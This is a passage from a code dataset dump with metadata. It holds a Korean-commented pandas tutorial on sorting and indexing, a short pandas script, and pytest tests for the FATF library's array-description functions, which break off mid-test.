"max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "IMDb+Movie+Data.py", "max_issues_repo_name": "sanju6331/IMDb-Movie-Data-Visualisation-Case-Study-Upgrad", "max_issues_repo_head_hexsha": "f5dbca3b303ebda57d11af8acdc01572e0804aa0", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "IMDb+Movie+Data.py", "max_forks_repo_name": "sanju6331/IMDb-Movie-Data-Visualisation-Case-Study-Upgrad", "max_forks_repo_head_hexsha": "f5dbca3b303ebda57d11af8acdc01572e0804aa0", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.3354297694, "max_line_length": 544, "alphanum_fraction": 0.7352072624, "include": true, "reason": "import numpy", "num_tokens": 4945, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584286, "lm_q2_score": 0.14414886038616345, "lm_q1q2_score": 0.06200525009677905}}
{"text": "# \ub370\uc774\ud130 \ud504\ub808\uc784 \uc815\ub82c: Dataframe.sort_values()\n# \ud29c\ud50c \uc815\ub82c : sorted(tuple,key)\n# \ub9ac\uc2a4\ud2b8 \uc815\ub82c : sort(),sorted(list)\nimport pandas as pd\n\npdf = pd.DataFrame({'seq':[1,3,2],'name':['park','lee','choi'],'age' : [30,20,40]})\nprint(pdf)\n#    seq  name  age\n# 0    1  park   30\n# 1    3   lee   20\n# 2    2  choi   40\n\n#\uc815\ub82c \uae30\uc900\uc744 \uc815\ud560 \uc218 \uc788\ub2e4.\nprint(pdf.sort_values(by=['seq']))                                      #seq\uc911\uc2ec\uc73c\ub85c \uc624\ub984\ucc28\uc21c\n#    seq  name  age\n# 0    1  park   30\n# 2    2  choi   40\n# 1    3   lee   20\n\nprint(pdf.sort_values(by=['seq'],axis=0,ascending=False))\n#    seq  name  age\n# 1    3   lee   20\n# 2    2  choi   40\n# 0    1  park   30\n\nprint('='*50)\n\npdf.sort_values(by=['seq'],axis=0)\nprint(pdf)\n#    seq  name  age\n# 0    1  park   30\n# 1    3   lee   20\n# 2    2  choi   40\n\npdf.sort_values(by=['seq'],axis=0,inplace=True)                             #inplace=True : \uc815\ub82c \uae30\uc900\uc744 \uc800\uc7a5(\uc5c6\uc73c\uba74 \ub530\ub85c \uc800\uc7a5:\ubcc0\uc218 = \ubcc0\uc218.sort_values...)\nprint(pdf)\n#    seq  name  age\n# 0    1  park   30\n# 2    2  choi   40\n# 1    3   lee   20\n\nimport numpy as np\npdf = pd.DataFrame({'seq':[1,3,np.nan],'name':['park','lee','choi'],'age' : [30,20,40]})\n\npdf.sort_values(by=['seq'],axis=0,inplace=True,na_position='first')                             #na_position='first' : na\uc758 \uc815\ub82c \uae30\uc900 \uc9c0\uc815\nprint(pdf)\n#    seq  name  age\n# 2  NaN  choi   40\n# 0  1.0  park   30\n# 1  3.0   lee   20\n\npt = [(1,'park',30),(3,'lee',20),(2,'choi',40)]\nprint(pt)\n# [(1, 'park', 30), (3, 'lee', 20), (2, 'choi', 40)]\n\nprint(sorted(pt,key=lambda ptf:ptf[0]))                                     #ptf[0] :  0\ubc88\uc9f8 \uc5f4\uc5d0 \ub9de\ucdb0 \uc624\ub984\ucc28\uc21c \uc815\ub82c\n# [(1, 'park', 30), (2, 'choi', 40), (3, 'lee', 20)]\n\nprint(sorted(pt,key=lambda ptf:ptf[1]))                                     #ptf[1] :  1\ubc88\uc9f8 \uc5f4\uc5d0 \ub9de\ucdb0 \uc624\ub984\ucc28\uc21c \uc815\ub82c\n# [(2, 'choi', 40), (3, 'lee', 20), (1, 'park', 30)]\n\nprint(sorted(pt,key=lambda ptf:ptf[2]))                                     #ptf[2] :  2\ubc88\uc9f8 \uc5f4\uc5d0 \ub9de\ucdb0 \uc624\ub984\ucc28\uc21c \uc815\ub82c\n# [(3, 'lee', 20), (1, 'park', 30), (2, 'choi', 40)]\n\nprint(sorted(pt,reverse=True, key=lambda ptf:ptf[2]))\n# [(2, 'choi', 40), (1, 'park', 30), (3, 'lee', 20)]\n\n\n#\ub9ac\uc2a4\ud2b8 : sorted(list), sort\nmlist = [9,4,1,2,7]\n\nprint(sorted(mlist))                                                     #\uc815\ub82c \ub41c \uacb0\uacfc\uac00 \uc800\uc7a5\uc774 \ub530\ub85c \ub418\uc9c4 \uc54a\ub294\ub2e4\n# [1, 2, 4, 7, 9]\n\nprint(mlist)\n# [9, 4, 1, 2, 7]\n\nmlist.sort()                                                              #\uc815\ub82c \ub41c \uacb0\uacfc\uac00 \uc790\ub3d9 \uc800\uc7a5\nprint(mlist)\n# [1, 2, 4, 7, 9]\n\n\nSeri = pd.Series([ 10.,11.,12.,13.,14.])\nprint(Seri)\n# 0    10.0\n# 1    11.0\n# 2    12.0\n# 3    13.0\n# 4    14.0\n# dtype: float64\n\nprint(Seri[3])\n# 13.0\n\nprint(Seri[:3])\n# 0    10.0\n# 1    11.0\n# 2    12.0\n# dtype: float64\n\n#\ud3c9\uade0\uc774 12 \uc774\uc0c1\uc778 \ud589\ub9cc \ucd94\ucd9c\nprint(Seri[Seri>=Seri.mean()])\n# 2    12.0\n# 3    13.0\n# 4    14.0\n# dtype: float64\n\nprint(Seri[[3,4,2]])\n# 3    13.0\n# 4    14.0\n# 2    12.0\n# dtype: float64\n\nSeri_ix = pd.Series([10.,11.,12.,13.,14.],index=['a','b','c','d','e'])\nprint(Seri_ix)\n# a    10.0\n# b    11.0\n# c    12.0\n# d    13.0\n# e    14.0\n# dtype: float64\n\nprint(Seri_ix[['a','b','d']])\n# a    10.0\n# b    11.0\n# d    13.0\n# dtype: float64\n\nprint(Seri_ix.get(['a','b','d']))\n# a    10.0\n# b    11.0\n# d    13.0\n# dtype: float64\n\nSeri_ix['c']=100\nprint(Seri_ix)\n# a     10.0\n# b     11.0\n# c    100.0\n# d     13.0\n# e     14.0\n# dtype: float64\n\n#\ud2b9\uc815 \uc778\ub371\uc2a4\uac00 \uc788\ub294\uc9c0 \ud655\uc778\nprint('c' in Seri_ix)\n# True\n\n# ix, loc, iloc\n# ix : \uc704\uce58\ub97c \uc9c0\uc815\ud558\uc5ec \ub370\uc774\ud130\ub97c \ucc38\uc870, \ub808\uc774\ube14\uc744 \uc774\uc6a9\ud558\uc5ec \ub370\uc774\ud130\ub97c \ucc38\uc870\n# \ub808\uc774\ube14\uc744 \uc774\uc6a9\ud558\uc5ec \ub370\uc774\ud130 \ucc38\uc870 \uc2dc ix\uc18d\uc131\uc5d0 \uc218\uce58\uac12\uc744 \uc8fc\ub294 \uacbd\uc6b0\uc5d0\ub294 loc\uc640 \ub3d9\uc77c\ud55c \uacb0\uacfc\n# loc : \ub808\uc774\ube14\uc744 \uc774\uc6a9\ud558\uc5ec \ub370\uc774\ud130\ub97c \ucc38\uc870(\uc704\uce58\ub97c \uc774\uc6a9\ud558\uc5ec \ucc38\uc870\ud560 \uc218 \uc5c6\ub2e4.)\n# iloc : \uc704\uce58\ub97c \uc774\uc6a9\ud558\uc5ec \ub370\uc774\ud130\ub97c \ucc38\uc870(\ub808\uc774\ube14\uc744 \uc774\uc6a9\ud558\uc5ec \ucc38\uc870\ud560 \uc218 \uc5c6\ub2e4.)\n\nSeri = pd.Series(np.nan, index=[19,18,17,16,15,1,2,3,4,5])\nprint(Seri)\n# True\n# 19   NaN\n# 18   NaN\n# 17   NaN\n# 16   NaN\n# 15   NaN\n# 1    NaN\n# 2    NaN\n# 3    NaN\n# 4    NaN\n# 5    NaN\n# dtype: float64\n\nprint(Seri.iloc[:3])                                   #0~2\ubc88 \ud589\uae4c\uc9c0 \ucd94\ucd9c\n# 19   NaN\n# 18   NaN\n# 17   NaN\n# dtype: float64\n\nprint(Seri.loc[:3])                                   #0~7\ubc88 \ud589\uae4c\uc9c0 3\ubc88\uc774\ub77c\ub294 \uc778\ub371\uc2a4\uac00 \uc788\ub294 \ud589\uae4c\uc9c0 \ucd94\ucd9c\n# 19   NaN\n# 18   NaN\n# 17   NaN\n# 16   NaN\n# 15   NaN\n# 1    NaN\n# 2    NaN\n# 3    NaN\n# dtype: float64\n\nprint(Seri.ix[:3])                                   #0~7\ubc88 \ud589\uae4c\uc9c0 3\ubc88\uc774\ub77c\ub294 \uc778\ub371\uc2a4\uac00 \uc788\ub294 \ud589\uae4c\uc9c0 \ucd94\ucd9c\n# 19   NaN\n# 18   NaN\n# 17   NaN\n# 16   NaN\n# 15   NaN\n# 1    NaN\n# 2    NaN\n# 3    NaN\n# dtype: float64\n\nfrom pandas import DataFrame\n\ndf = DataFrame({'c1': [0,1,2,3],\n                'c2': [4,5,6,7],\n                'c3':[8,9,10,np.nan]},index=['r1','r2','r3','r4'])\nprint(df.index)\n# Index(['r1', 'r2', 'r3', 'r4'], dtype='object')\nprint(df.columns)\n# Index(['c1', 'c2', 'c3'], dtype='object'\n\ndf_r1 = DataFrame(df,index=['r1'])\nprint(df_r1)\n#     c1  c2   c3\n# r1   0   4  8.0\nprint(type(df_r1))\n# <class 'pandas.core.frame.DataFrame'>\n\ndf_r1 = DataFrame(df,index=['r1','r3'])\nprint(df_r1)\n#     c1  c2    c3\n# r1   0   4   8.0\n# r3   2   6  10.0\n\ndf_c1 = DataFrame(df,columns=['c1','c3'])\nprint(df_c1)\n#     c1    c3\n# r1   0   8.0\n# r2   1   9.0\n# r3   2  10.0\n# r4   3   NaN\n\n#\uae30\uc874\uc758 \ub370\uc774\ud130\ud504\ub808\uc784\uc73c\ub85c\ubd80\ud130 \uc6d0\ud558\ub294 \ud2b9\uc815 \ubd80\ubd84\ub9cc \ucd94\ucd9c\ud558\uc5ec \uc0c8\ub85c\uc6b4 \ub370\uc774\ud130\ud504\ub808\uc784 \uc0dd\uc131\ndf_ex = DataFrame(df,index=['r3','r1'],columns=['c3','c1'])\nprint(df_ex)\n#       c3  c1\n# r3  10.0   2\n# r1   8.0   0\n\n#\uae30\uc874\uc758 \ub370\uc774\ud130\ud504\ub808\uc784\uc73c\ub85c\ubd80\ud130 \uc6d0\ud558\ub294 \ud2b9\uc815 \ubd80\ubd84\ub9cc \ucc38\uc870\nprint(df[['c1','c3']])\n#     c1    c3\n# r1   0   8.0\n# r2   1   9.0\n# r3   2  10.0\n# r4   3   NaN\n\ndf['csum']=df['c1']+df['c2']\nprint(df)\n#     c1  c2    c3  csum\n# r1   0   4   8.0     4\n# r2   1   5   9.0     6\n# r3   2   6  10.0     8\n# r4   3   7   NaN    10\n\ndf = df.assign(cmul=df['c1']*df['c2'])\nprint(df)\n#     c1  c2    c3  csum  cmul\n# r1   0   4   8.0     4     0\n# r2   1   5   9.0     6     5\n# r3   2   6  10.0     8    12\n# r4   3   7   NaN    10    21\n\ndf = df.assign(cmul2=lambda  x:x.c1*x.c2)                   # lambda :  df\uac00 x\ub85c \ub4e4\uc5b4\uac00\uc11c \ub4a4\uc5d0 \uacc4\uc0b0\uc2dd \uc218\ud589 \uc218 cmul2\uc5d0 \uac12\uc774 \ub300\uc785\nprint(df)\n#     c1  c2    c3  csum  cmul  cmul2\n# r1   0   4   8.0     4     0      0\n# r2   1   5   9.0     6     5      5\n# r3   2   6  10.0     8    12     12\n# r4   3   7   NaN    10    21     21\n\n#\ud589\uc774\ub098 \uc5f4 \uc0ad\uc81c: drop,del\nprint(df.drop(['cmul','cmul2'],axis=1))\n#     c1  c2    c3  csum\n# r1   0   4   8.0     4\n# r2   1   5   9.0     6\n# r3   2   6  10.0     8\n# r4   3   7   NaN    10\n\nprint(df.drop(['r1','r3'],axis=0))\n#     c1  c2   c3  csum  cmul  cmul2\n# r2   1   5  9.0     6     5      5\n# r4   3   7  NaN    10    21     21\n\nprint(df.drop(['r1','r3']))                                 # axis=0 \uae30\ubcf8\uac12\uc774\ub77c \uc0dd\ub7b5 \uac00\ub2a5\n#     c1  c2   c3  csum  cmul  cmul2\n# r2   1   5  9.0     6     5      5\n# r4   3   7  NaN    10    21     21\n\ndel df['csum']\nprint(df)\n#     c1  c2    c3  cmul  cmul2\n# r1   0   4   8.0     0      0\n# r2   1   5   9.0     5      5\n# r3   2   6  10.0    12     12\n# r4   3   7   NaN    21     21\n\nprint(df['c1'])\n# r1    0\n# r2    1\n# r3    2\n# r4    3\n# Name: c1, dtype: int64\n\nprint(df.c1)\n# r1    0\n# r2    1\n# r3    2\n# r4    3\n# Name: c1, dtype: int64\n\nprint(df[0:2])\n#     c1  c2   c3  cmul  cmul2\n# r1   0   4  8.0     0      0\n# r2   1   5  9.0     5      5\n\nprint(df['c1'][0:2])\n# r1    0\n# r2    1\n# Name: c1, dtype: int64\n\nprint(df.c2[0:2])\n# r1    4\n# r2    5\n# Name: c2, dtype: int64\n\nprint(df.loc['r1'])\n#     c1  c2   c3  cmul  cmul2\n# r1   0   4  8.0     0      0\n# r2   1   5  9.0     5      5\n\nprint(df.loc[['r1','r2']])\n#     c1  c2   c3  cmul  cmul2\n# r1   0   4  8.0     0      0\n# r2   1   5  9.0     5      5\nprint(df.iloc[0:2])\n#     c1  c2   c3  cmul  cmul2\n# r1   0   4  8.0     0      0\n# r2   1   5  9.0     5      5\n\nprint(df[0:2])\n#     c1  c2   c3  cmul  cmul2\n# r1   0   4  8.0     0      0\n# r2   1   5  9.0     5      5\n\nprint('='*50)\nprint(df[df['c1']<=1])\n#     c1  c2   c3  cmul  cmul2\n# r1   0   4  8.0     0      0\n# r2   1   5  9.0     5      5\n\ns=['c1','c2']\nprint(df[s])\n#     c1  c2\n# r1   0   4\n# r2   1   5\n# r3   2   6\n# r4   3   7\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "fe48f2877824ef1666723fdfd1c612a648e6f813", "size": 7670, "ext": "py", "lang": "Python", "max_stars_repo_path": "19_2.py", "max_stars_repo_name": "yunjung-lee/class_python_numpy", "max_stars_repo_head_hexsha": "589817c8bbca85d70596e4097c0ece093b5353c3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "19_2.py", "max_issues_repo_name": "yunjung-lee/class_python_numpy", "max_issues_repo_head_hexsha": "589817c8bbca85d70596e4097c0ece093b5353c3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "19_2.py", "max_forks_repo_name": "yunjung-lee/class_python_numpy", "max_forks_repo_head_hexsha": "589817c8bbca85d70596e4097c0ece093b5353c3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.6728110599, "max_line_length": 135, "alphanum_fraction": 0.4580182529, "include": true, "reason": "import numpy", "num_tokens": 3842, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473631961697, "lm_q2_score": 0.14414884935602928, "lm_q1q2_score": 0.06200524745825788}}
{"text": "import pandas as pd\nimport numpy as np\n\ndf = pd.DataFrame({\"A\":[1,2,3,4], \"B\":[5,6,7,8]})\nprint(df)", "meta": {"hexsha": "f64a19aff3d9a4d44aac824d38c6aaef4eeb9f77", "size": 99, "ext": "py", "lang": "Python", "max_stars_repo_path": "lesson-08/test_m.py", "max_stars_repo_name": "rafaelmartinsbuck/ai-for-trading", "max_stars_repo_head_hexsha": "51234e408c94ccdeee9b06301a2f63bd170243e3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-05-15T09:41:14.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-15T09:41:14.000Z", "max_issues_repo_path": "lesson-08/test_m.py", "max_issues_repo_name": "rafaelmartinsbuck/ai-for-trading", "max_issues_repo_head_hexsha": "51234e408c94ccdeee9b06301a2f63bd170243e3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lesson-08/test_m.py", "max_forks_repo_name": "rafaelmartinsbuck/ai-for-trading", "max_forks_repo_head_hexsha": "51234e408c94ccdeee9b06301a2f63bd170243e3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 19.8, "max_line_length": 49, "alphanum_fraction": 0.6161616162, "include": true, "reason": "import numpy", "num_tokens": 39, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.13117323055476696, "lm_q1q2_score": 0.062003418658160836}}
{"text": "\"\"\"\nTests describing arrays.\n\"\"\"\n# Author: Kacper Sokol <k.sokol@bristol.ac.uk>\n#         Rafael Poyiadzi <rp13102@bristol.ac.uk>\n# License: new BSD\n\nimport pytest\n\nimport numpy as np\n\nimport fatf.transparency.data.describe_functions as ftddf\nimport fatf.utils.tools as fut\n\nfrom fatf.exceptions import IncorrectShapeError\n\n_NUMPY_VERSION = [int(i) for i in np.version.version.split('.')]\n_NUMPY_1_17 = fut.at_least_verion([1, 17], _NUMPY_VERSION)\n_NUMPY_1_16 = fut.at_least_verion([1, 16], _NUMPY_VERSION)\n_NUMPY_1_14_4 = fut.at_least_verion([1, 14, 4], _NUMPY_VERSION)\n_NUMPY_1_11 = fut.at_least_verion([1, 11], _NUMPY_VERSION)\n_NUMPY_1_10 = fut.at_least_verion([1, 10], _NUMPY_VERSION)\n\n\ndef test_describe_numerical_array():\n    \"\"\"\n    Tests :func:`fatf.transparency.data.describe.describe_numerical_array`.\n    \"\"\"\n    rwpf = 'percentile' if _NUMPY_1_11 else 'median'\n    runtime_warning_percentile = 'Invalid value encountered in {}'.format(rwpf)\n    # numpy<1.16 throws a reduce warning for nan arrays when computing min/max\n    runtime_warning_minmax = 'invalid value encountered in reduce'\n    #\n    incorrect_shape_error = 'The input array should be 1-dimensional.'\n    value_error_non_numerical = 'The input array should be purely numerical.'\n    value_error_empty = 'The input array cannot be empty.'\n\n    # Wrong shape\n    array = np.array([[5, 33], [22, 17]])\n    with pytest.raises(IncorrectShapeError) as exin:\n        ftddf.describe_numerical_array(array)\n    assert str(exin.value) == incorrect_shape_error\n\n    # Wrong type\n    array = np.array(['string', 33, 22, 17])\n    with pytest.raises(ValueError) as exin:\n        ftddf.describe_numerical_array(array)\n    assert str(exin.value) == value_error_non_numerical\n\n    # Empty array\n    array = np.array([], dtype=np.int32)\n    with pytest.raises(ValueError) as exin:\n        ftddf.describe_numerical_array(array)\n    assert str(exin.value) == value_error_empty\n\n    # Array with nans -- structured row; ignore nans + default parameter\n    array = np.array([(33, 22, np.nan, 11, np.nan, 4)],\n                     dtype=[('a', int), ('b', int), ('c', np.float),\n                            ('d', np.int32), ('e', np.float), ('f', int)])\n    description = {'count': 6, 'mean': 17.5, 'std': 11.011, 'max': 33,\n                   'min': 4, '25%': 9.25, '50%': 16.5, '75%': 24.75,\n                   'nan_count': 2}  # yapf: disable\n    array_description = ftddf.describe_numerical_array(array[0])\n    assert set(ftddf.NUMERICAL_KEYS) == set(description.keys())\n    assert set(ftddf.NUMERICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.NUMERICAL_KEYS:\n        assert pytest.approx(array_description[i], abs=1e-3) == description[i]\n    # ...\n    array_description = ftddf.describe_numerical_array(\n        array[0], skip_nans=True)\n    assert set(ftddf.NUMERICAL_KEYS) == set(description.keys())\n    assert set(ftddf.NUMERICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.NUMERICAL_KEYS:\n        assert pytest.approx(array_description[i], abs=1e-3) == description[i]\n\n    # Array with nans -- classic array; do not ignore nans\n    array = np.array([33, 22, np.nan, 11, np.nan, 4])\n    if _NUMPY_1_10:  # pragma: no cover\n        description = {'count': 6, 'mean': np.nan, 'std': np.nan,\n                       'max': np.nan, 'min': np.nan, '25%': np.nan,\n                       '50%': np.nan, '75%': np.nan, 'nan_count': 2\n                       }  # yapf: disable\n        if _NUMPY_1_17:\n            array_description = ftddf.describe_numerical_array(\n                array, skip_nans=False)\n        else:\n            with pytest.warns(RuntimeWarning) as w:\n                array_description = ftddf.describe_numerical_array(\n                    array, skip_nans=False)\n            if _NUMPY_1_16:\n                assert len(w) == 3\n                for i in range(len(w)):\n                    assert str(\n                        w[i].message).startswith(runtime_warning_percentile)\n            elif _NUMPY_1_14_4:\n                assert len(w) == 5\n                assert str(w[0].message).startswith(runtime_warning_minmax)\n                for i in range(1, len(w) - 1):\n                    assert str(\n                        w[i].message).startswith(runtime_warning_percentile)\n                assert str(w[-1].message).startswith(runtime_warning_minmax)\n            else:\n                assert len(w) == 3\n                for i in range(len(w)):\n                    assert str(\n                        w[i].message).startswith(runtime_warning_percentile)\n    else:  # pragma: no cover\n        description = {'count': 6, 'mean': np.nan, 'std': np.nan,\n                       'max': np.nan, 'min': np.nan, '25%': 13.75,\n                       '50%': 27.5, '75%': np.nan, 'nan_count': 2\n                       }  # yapf: disable\n        array_description = ftddf.describe_numerical_array(\n            array, skip_nans=False)\n    assert set(ftddf.NUMERICAL_KEYS) == set(description.keys())\n    assert set(ftddf.NUMERICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.NUMERICAL_KEYS:\n        true = description[i]\n        computed = array_description[i]\n        if np.isnan(true) and np.isnan(computed):\n            assert True\n        else:\n            assert pytest.approx(computed, abs=1e-3) == true\n\n    # Array without nans -- classic array; ignore nans\n    array = np.array([33, 22, 11, 4])\n    description = {'count': 4, 'mean': 17.5, 'std': 11.011, 'max': 33,\n                   'min': 4, '25%': 9.25, '50%': 16.5, '75%': 24.75,\n                   'nan_count': 0}  # yapf: disable\n    array_description = ftddf.describe_numerical_array(array, skip_nans=True)\n    assert set(ftddf.NUMERICAL_KEYS) == set(description.keys())\n    assert set(ftddf.NUMERICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.NUMERICAL_KEYS:\n        assert pytest.approx(array_description[i], abs=1e-3) == description[i]\n\n    # Array without nans -- classic array; do not ignore nans\n    array_description = ftddf.describe_numerical_array(array, skip_nans=False)\n    assert set(ftddf.NUMERICAL_KEYS) == set(description.keys())\n    assert set(ftddf.NUMERICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.NUMERICAL_KEYS:\n        assert pytest.approx(array_description[i], abs=1e-3) == description[i]\n\n\ndef test_describe_categorical_array():\n    \"\"\"\n    Tests :func:`fatf.transparency.data.describe.describe_categorical_array`.\n    \"\"\"\n    incorrect_shape_error = 'The input array should be 1-dimensional.'\n    value_error_empty = 'The input array cannot be empty.'\n    user_warning_non_numerical = ('The input array is not purely categorical. '\n                                  'Converting the input array into a textual '\n                                  'type to facilitate a categorical '\n                                  'description.')\n    # Wrong shape\n    array = np.array([[5, 33], [22, 17]])\n    with pytest.raises(IncorrectShapeError) as exin:\n        ftddf.describe_categorical_array(array)\n    assert str(exin.value) == incorrect_shape_error\n\n    # Empty array\n    array = np.array([], dtype=np.int32)\n    with pytest.raises(ValueError) as exin:\n        ftddf.describe_categorical_array(array)\n    assert str(exin.value) == value_error_empty\n\n    # Wrong type -- will be treated as textual\n    array = np.array([5, 33, 5])\n    description = {'count': 3, 'unique': np.array(['33', '5']),\n                   'unique_counts': np.array([1, 2]), 'top': '5',\n                   'freq': 2, 'is_top_unique': True}  # yapf: disable\n    with pytest.warns(UserWarning) as w:\n        array_description = ftddf.describe_categorical_array(array)\n    assert len(w) == 1\n    assert str(w[0].message) == user_warning_non_numerical\n    #\n    assert set(ftddf.CATEGORICAL_KEYS) == set(description.keys())\n    assert set(ftddf.CATEGORICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.CATEGORICAL_KEYS:\n        if isinstance(description[i], (str, bool, int)):\n            assert array_description[i] == description[i]\n        elif isinstance(description[i], np.ndarray):\n            assert np.array_equal(array_description[i], description[i])\n        else:  # pragma: no cover\n            assert False, 'Unrecognised type!'\n\n    # Structured row\n    array = np.array([('aa', 'bb', 'abc', 'd', 'bb')],\n                     dtype=[('a', 'U2'), ('b', 'U2'), ('c', 'U3'), ('d', 'U4'),\n                            ('e', 'U2')])\n    description = {'count': 5, 'unique': np.array(['aa', 'abc', 'bb', 'd']),\n                   'unique_counts': np.array([1, 1, 2, 1]), 'top': 'bb',\n                   'freq': 2, 'is_top_unique': True}  # yapf: disable\n    array_description = ftddf.describe_categorical_array(array[0])\n    assert set(ftddf.CATEGORICAL_KEYS) == set(description.keys())\n    assert set(ftddf.CATEGORICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.CATEGORICAL_KEYS:\n        if isinstance(description[i], (str, bool, int)):\n            assert array_description[i] == description[i]\n        elif isinstance(description[i], np.ndarray):\n            assert np.array_equal(array_description[i], description[i])\n        else:  # pragma: no cover\n            assert False, 'Unrecognised type!'\n\n    # Classic array -- more than one top\n    array = np.array(['d', 'bb', 'abc', 'd', 'bb'])\n    description = {'count': 5, 'unique': np.array(['abc', 'bb', 'd']),\n                   'unique_counts': np.array([1, 2, 2]), 'top': 'bb',\n                   'freq': 2, 'is_top_unique': False}  # yapf: disable\n    array_description = ftddf.describe_categorical_array(array)\n    assert set(ftddf.CATEGORICAL_KEYS) == set(description.keys())\n    assert set(ftddf.CATEGORICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.CATEGORICAL_KEYS:\n        if isinstance(description[i], (str, bool, int)):\n            assert array_description[i] == description[i]\n        elif isinstance(description[i], np.ndarray):\n            assert np.array_equal(array_description[i], description[i])\n        else:  # pragma: no cover\n            assert False, 'Unrecognised type!'\n\n\ndef test_describe_array():\n    \"\"\"\n    Tests :func:`fatf.transparency.data.describe.describe_array`.\n    \"\"\"\n    incorrect_shape_error = 'The input array should be 1- or 2-dimensional.'\n    value_error_non_base = ('The input array should be of a base type (a '\n                            'mixture of numerical and textual types).')\n    user_warning = ('The input array is 1-dimensional. Ignoring include and '\n                    'exclude parameters.')\n    value_error_0_columns = 'The input array cannot have 0 columns.'\n    value_error_include_index = ('The following include index is not a valid '\n                                 'index: {}.')\n    value_error_include_indices = ('The following include indices are not '\n                                   'valid indices: ')\n    type_error_include = ('The include parameter can either be a string, an '\n                          'integer or a list of these two types.')\n    value_error_exclude_index = ('The following exclude index is not a valid '\n                                 'index: {}.')\n    value_error_exclude_indices = ('The following exclude indices are not '\n                                   'valid indices: ')\n    type_error_exclude = ('The exclude parameter can either be a string, an '\n                          'integer or a list of these two types.')\n    runtime_error = 'None of the columns were selected to be described.'\n    rwpf = 'percentile' if _NUMPY_1_11 else 'median'\n    runtime_warning_percentile = 'Invalid value encountered in {}'.format(rwpf)\n    # numpy<1.16 throws a reduce warning for nan arrays when computing min/max\n    runtime_warning_minmax = 'invalid value encountered in reduce'\n\n    # Wrong shape\n    array = np.ones((2, 2, 2), dtype=np.int32)\n    with pytest.raises(IncorrectShapeError) as exin:\n        ftddf.describe_array(array)\n    assert str(exin.value) == incorrect_shape_error\n\n    # Wrong type\n    array = np.array([[2, None, 2], [7, 4, 7]])\n    with pytest.raises(ValueError) as exin:\n        ftddf.describe_array(array)\n    assert str(exin.value) == value_error_non_base\n\n    # 1D categorical array -- no include & exclude\n    array = np.array([2, '44', 2, 44])\n    description = {'count': 4, 'unique': np.array(['2', '44']),\n                   'unique_counts': np.array([2, 2]), 'top': '2', 'freq': 2,\n                   'is_top_unique': False}  # yapf: disable\n    array_description = ftddf.describe_array(array)\n    assert set(ftddf.CATEGORICAL_KEYS) == set(description.keys())\n    assert set(ftddf.CATEGORICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.CATEGORICAL_KEYS:\n        if isinstance(description[i], (str, bool, int)):\n            assert array_description[i] == description[i]\n        elif isinstance(description[i], np.ndarray):\n            assert np.array_equal(array_description[i], description[i])\n        else:  # pragma: no cover\n            assert False, 'Unrecognised type!'\n    # Skip nans\n    array_description = ftddf.describe_array(array, skip_nans=False)\n    assert set(ftddf.CATEGORICAL_KEYS) == set(description.keys())\n    assert set(ftddf.CATEGORICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.CATEGORICAL_KEYS:\n        if isinstance(description[i], (str, bool, int)):\n            assert array_description[i] == description[i]\n        elif isinstance(description[i], np.ndarray):\n            assert np.array_equal(array_description[i], description[i])\n        else:  # pragma: no cover\n            assert False, 'Unrecognised type!'\n\n    # 1D categorical array -- include & not exclude\n    array = np.array([2, '44', 2, 44])\n    description = {'count': 4, 'unique': np.array(['2', '44']),\n                   'unique_counts': np.array([2, 2]), 'top': '2', 'freq': 2,\n                   'is_top_unique': False}  # yapf: disable\n    with pytest.warns(UserWarning) as w:\n        array_description = ftddf.describe_array(array, exclude='unimportant')\n    assert len(w) == 1\n    assert str(w[0].message) == user_warning\n    #\n    assert set(ftddf.CATEGORICAL_KEYS) == set(description.keys())\n    assert set(ftddf.CATEGORICAL_KEYS) == set(array_description.keys())\n    for i in ftddf.CATEGORICAL_KEYS:\n        if isinstance(description[i], (str, bool, int)):\n            assert array_description[i] == description[i]\n        elif isinstance(description[i], np.ndarray):\n            assert np.array_equal(array_description[i], description[i])\n        else:  # pragma: no cover\n            assert False, 'Unrecognised type!'\n\n    # 1D structured numerical array -- 